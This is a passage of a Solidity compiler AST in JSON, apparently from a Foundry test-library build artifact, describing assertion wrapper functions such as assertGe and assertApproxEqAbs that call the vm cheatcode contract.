ypeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":2047,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16153:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16156:8:1","memberName":"assertGe","nodeType":"MemberAccess","referencedDeclaration":14065,"src":"16153:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$returns$__$","typeString":"function (int256,int256) pure external"}},"id":2052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16153:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2053,"nodeType":"ExpressionStatement","src":"16153:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"16085:8:1","parameters":{"id":2045,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2042,"mutability":"mutable","name":"left","nameLocation":"16101:4:1","nodeType":"VariableDeclaration","scope":2055,"src":"16094:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2041,"name":"int256","nodeType":"ElementaryTypeName","src":"16094:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2044,"mutability":"mutable","name":"right","nameLocation":"16114:5:1","nodeType":"VariableDeclaration","scope":2055,"src":"16107:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2043,"name":"int256","nodeType":"ElementaryTypeName","src":"16107:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"16093:27:1"},"returnParameters":{"id":2046,"nodeType":"ParameterList","parameters":[],"src":"16143:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2073,"nodeType":"FunctionDefinition","src":"16190:132:1","nodes":[],"body":{"id":2072,"nodeType":"Block","src":"16276:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2067,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2057,"src":"16298:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2068,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2059,"src":"16304:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2069,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2061,"src":"16311:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2064,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16286:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16289:8:1","memberName":"assertGe","nodeType":"MemberAccess","referencedDeclaration":14075,"src":"16286:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,string memory) pure external"}},"id":2070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16286:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2071,"nodeType":"ExpressionStatement","src":"16286:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"16199:8:1","parameters":{"id":2062,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2057,"mutability":"mutable","name":"left","nameLocation":"16215:4:1","nodeType":"VariableDeclaration","scope":2073,"src":"16208:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2056,"name":"int256","nodeType":"ElementaryTypeName","src":"16208:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2059,"mutability":"mutable","name":"right","nameLocation":"16228:5:1","nodeType":"VariableDeclaration","scope":2073,"src":"16221:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2058,"name":"int256","nodeType":"ElementaryTypeName","src":"16221:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2061,"mutability":"mutable","name":"err","nameLocation":"16249:3:1","nodeType":"VariableDeclaration","scope":2073,"src":"16235:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2060,"name":"string","nodeType":"ElementaryTypeName","src":"16235:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16207:46:1"},"returnParameters":{"id":2063,"nodeType":"ParameterList","parameters":[],"src":"16276:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2091,"nodeType":"FunctionDefinition","src":"16328:150:1","nodes":[],"body":{"id":2090,"nodeType":"Block","src":"16420:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2085,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2075,"src":"16449:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2086,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2077,"src":"16455:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2087,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2079,"src":"16462:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2082,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16430:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2084,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16433:15:1","memberName":"assertGeDecimal","nodeType":"MemberAccess","referencedDeclaration":14027,"src":"16430:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":2088,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16430:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2089,"nodeType":"ExpressionStatement","src":"16430:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"16337:15:1","parameters":{"id":2080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2075,"mutability":"mutable","name":"left","nameLocation":"16360:4:1","nodeType":"VariableDeclaration","scope":2091,"src":"16353:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2074,"name":"int256","nodeType":"ElementaryTypeName","src":"16353:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2077,"mutability":"mutable","name":"right","nameLocation":"16373:5:1","nodeType":"VariableDeclaration","scope":2091,"src":"16366:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2076,"name":"int256","nodeType":"ElementaryTypeName","src":"16366:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2079,"mutability":"mutable","name":"decimals","nameLocation":"16388:8:1","nodeType":"VariableDeclaration","scope":2091,"src":"16380:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2078,"name":"uint256","nodeType":"ElementaryTypeName","src":"16380:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16352:45:1"},"returnParameters":{"id":2081,"nodeType":"ParameterList","parameters":[],"src":"16420:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2112,"nodeType":"FunctionDefinition","src":"16484:174:1","nodes":[],"body":{"id":2111,"nodeType":"Block","src":"16595:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2105,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2093,"src":"16624:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2106,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2095,"src":"16630:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2107,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2097,"src":"16637:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2108,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2099,"src":"16647:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2102,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16605:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2104,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16608:15:1","memberName":"assertGeDecimal","nodeType":"MemberAccess","referencedDeclaration":14039,"src":"16605:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":2109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16605:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2110,"nodeType":"ExpressionStatement","src":"16605:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"16493:15:1","parameters":{"id":2100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2093,"mutability":"mutable","name":"left","nameLocation":"16516:4:1","nodeType":"VariableDeclaration","scope":2112,"src":"16509:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2092,"name":"int256","nodeType":"ElementaryTypeName","src":"16509:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2095,"mutability":"mutable","name":"right","nameLocation":"16529:5:1","nodeType":"VariableDeclaration","scope":2112,"src":"16522:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2094,"name":"int256","nodeType":"ElementaryTypeName","src":"16522:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2097,"mutability":"mutable","name":"decimals","nameLocation":"16544:8:1","nodeType":"VariableDeclaration","scope":2112,"src":"16536:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2096,"name":"uint256","nodeType":"ElementaryTypeName","src":"16536:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2099,"mutability":"mutable","name":"err","nameLocation":"16568:3:1","nodeType":"VariableDeclaration","scope":2112,"src":"16554:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2098,"name":"string","nodeType":"ElementaryTypeName","src":"16554:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16508:64:1"},"returnParameters":{"id":2101,"nodeType":"ParameterList","parameters":[],"src":"16595:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2130,"nodeType":"FunctionDefinition","src":"16664:156:1","nodes":[],"body":{"id":2129,"nodeType":"Block","src":"16760:60:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2124,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2114,"src":"16791:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2125,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2116,"src":"16797:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2126,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2118,"src":"16804:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2121,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16770:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16773:17:1","memberName":"assertApproxEqAbs","nodeType":"MemberAccess","referencedDeclaration":13527,"src":"16770:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":2127,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16770:43:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2128,"nodeType":"ExpressionStatement","src":"16770:43:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"16673:17:1","parameters":{"id":2119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2114,"mutability":"mutable","name":"left","nameLocation":"16699:4:1","nodeType":"VariableDeclaration","scope":2130,"src":"16691:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2113,"name":"uint256","nodeType":"ElementaryTypeName","src":"16691:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2116,"mutability":"mutable","name":"right","nameLocation":"16713:5:1","nodeType":"VariableDeclaration","scope":2130,"src":"16705:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2115,"name":"uint256","nodeType":"ElementaryTypeName","src":"16705:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2118,"mutability":"mutable","name":"maxDelta","nameLocation":"16728:8:1","nodeType":"VariableDeclaration","scope":2130,"src":"16720:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2117,"name":"uint256","nodeType":"ElementaryTypeName","src":"16720:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16690:47:1"},"returnParameters":{"id":2120,"nodeType":"ParameterList","parameters":[],"src":"16760:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2151,"nodeType":"FunctionDefinition","src":"16826:208:1","nodes":[],"body":{"id":2150,"nodeType":"Block","src":"16969:65:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2144,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2132,"src":"17000:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2145,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2134,"src":"17006:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2146,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2136,"src":"17013:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2147,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2138,"src":"17023:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2141,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16979:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2143,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16982:17:1","memberName":"assertApproxEqAbs","nodeType":"MemberAccess","referencedDeclaration":13539,"src":"16979:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":2148,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16979:48:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2149,"nodeType":"ExpressionStatement","src":"16979:48:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"16835:17:1","parameters":{"id":2139,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2132,"mutability":"mutable","name":"left","nameLocation":"16861:4:1","nodeType":"VariableDeclaration","scope":2151,"src":"16853:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2131,"name":"uint256","nodeType":"ElementaryTypeName","src":"16853:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2134,"mutability":"mutable","name":"right","nameLocation":"16875:5:1","nodeType":"VariableDeclaration","scope":2151,"src":"16867:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2133,"name":"uint256","nodeType":"ElementaryTypeName","src":"16867:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2136,"mutability":"mutable","name":"maxDelta","nameLocation":"16890:8:1","nodeType":"VariableDeclaration","scope":2151,"src":"16882:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2135,"name":"uint256","nodeType":"ElementaryTypeName","src":"16882:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2138,"mutability":"mutable","name":"err","nameLocation":"16914:3:1","nodeType":"VariableDeclaration","scope":2151,"src":"16900:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2137,"name":"string","nodeType":"ElementaryTypeName","src":"16900:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16852:66:1"},"returnParameters":{"id":2140,"nodeType":"ParameterList","parameters":[],"src":"16969:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2172,"nodeType":"FunctionDefinition","src":"17040:226:1","nodes":[],"body":{"id":2171,"nodeType":"Block","src":"17189:77:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2165,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2153,"src":"17227:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2166,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2155,"src":"17233:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2167,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2157,"src":"17240:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2168,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2159,"src":"17250:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2162,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"17199:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2164,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17202:24:1","memberName":"assertApproxEqAbsDecimal","nodeType":"MemberAccess","referencedDeclaration":13477,"src":"17199:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256,uint256) pure external"}},"id":2169,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17199:60:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2170,"nodeType":"ExpressionStatement","src":"17199:60:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"17049:24:1","parameters":{"id":2160,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2153,"mutability":"mutable","name":"left","nameLocation":"17082:4:1","nodeType":"VariableDeclaration","scope":2172,"src":"17074:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2152,"name":"uint256","nodeType":"ElementaryTypeName","src":"17074:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2155,"mutability":"mutable","name":"right","nameLocation":"17096:5:1","nodeType":"VariableDeclaration","scope":2172,"src":"17088:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2154,"name":"uint256","nodeType":"ElementaryTypeName","src":"17088:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2157,"mutability":"mutable","name":"maxDelta","nameLocation":"17111:8:1","nodeType":"VariableDeclaration","scope":2172,"src":"17103:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2156,"name":"uint256","nodeType":"ElementaryTypeName","src":"17103:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2159,"mutability":"mutable","name":"decimals","nameLocation":"17129:8:1","nodeType":"VariableDeclaration","scope":2172,"src":"17121:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2158,"name":"uint256","nodeType":"ElementaryTypeName","src":"17121:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17073:65:1"},"returnParameters":{"id":2161,"nodeType":"ParameterList","parameters":[],"src":"17189:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2196,"nodeType":"FunctionDefinition","src":"17272:268:1","nodes":[],"body":{"id":2195,"nodeType":"Block","src":"17458:82:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2188,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2174,"src":"17496:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2189,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2176,"src":"17502:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2190,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2178,"src":"17509:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2191,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2180,"src":"17519:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2192,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2182,"src":"17529:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2185,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"17468:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2187,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17471:24:1","memberName":"assertApproxEqAbsDecimal","nodeType":"MemberAccess","referencedDeclaration":13491,"src":"17468:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,uint256,string memory) pure external"}},"id":2193,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17468:65:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2194,"nodeType":"ExpressionStatement","src":"17468:65:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"17281:24:1","parameters":{"id":2183,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2174,"mutability":"mutable","name":"left","nameLocation":"17323:4:1","nodeType":"VariableDeclaration","scope":2196,"src":"17315:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2173,"name":"uint256","nodeType":"ElementaryTypeName","src":"17315:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2176,"mutability":"mutable","name":"right","nameLocation":"17345:5:1","nodeType":"VariableDeclaration","scope":2196,"src":"17337:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2175,"name":"uint256","nodeType":"ElementaryTypeName","src":"17337:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2178,"mutability":"mutable","name":"maxDelta","nameLocation":"17368:8:1","nodeType":"VariableDeclaration","scope":2196,"src":"17360:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2177,"name":"uint256","nodeType":"ElementaryTypeName","src":"17360:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2180,"mutability":"mutable","name":"decimals","nameLocation":"17394:8:1","nodeType":"VariableDeclaration","scope":2196,"src":"17386:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2179,"name":"uint256","nodeType":"ElementaryTypeName","src":"17386:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"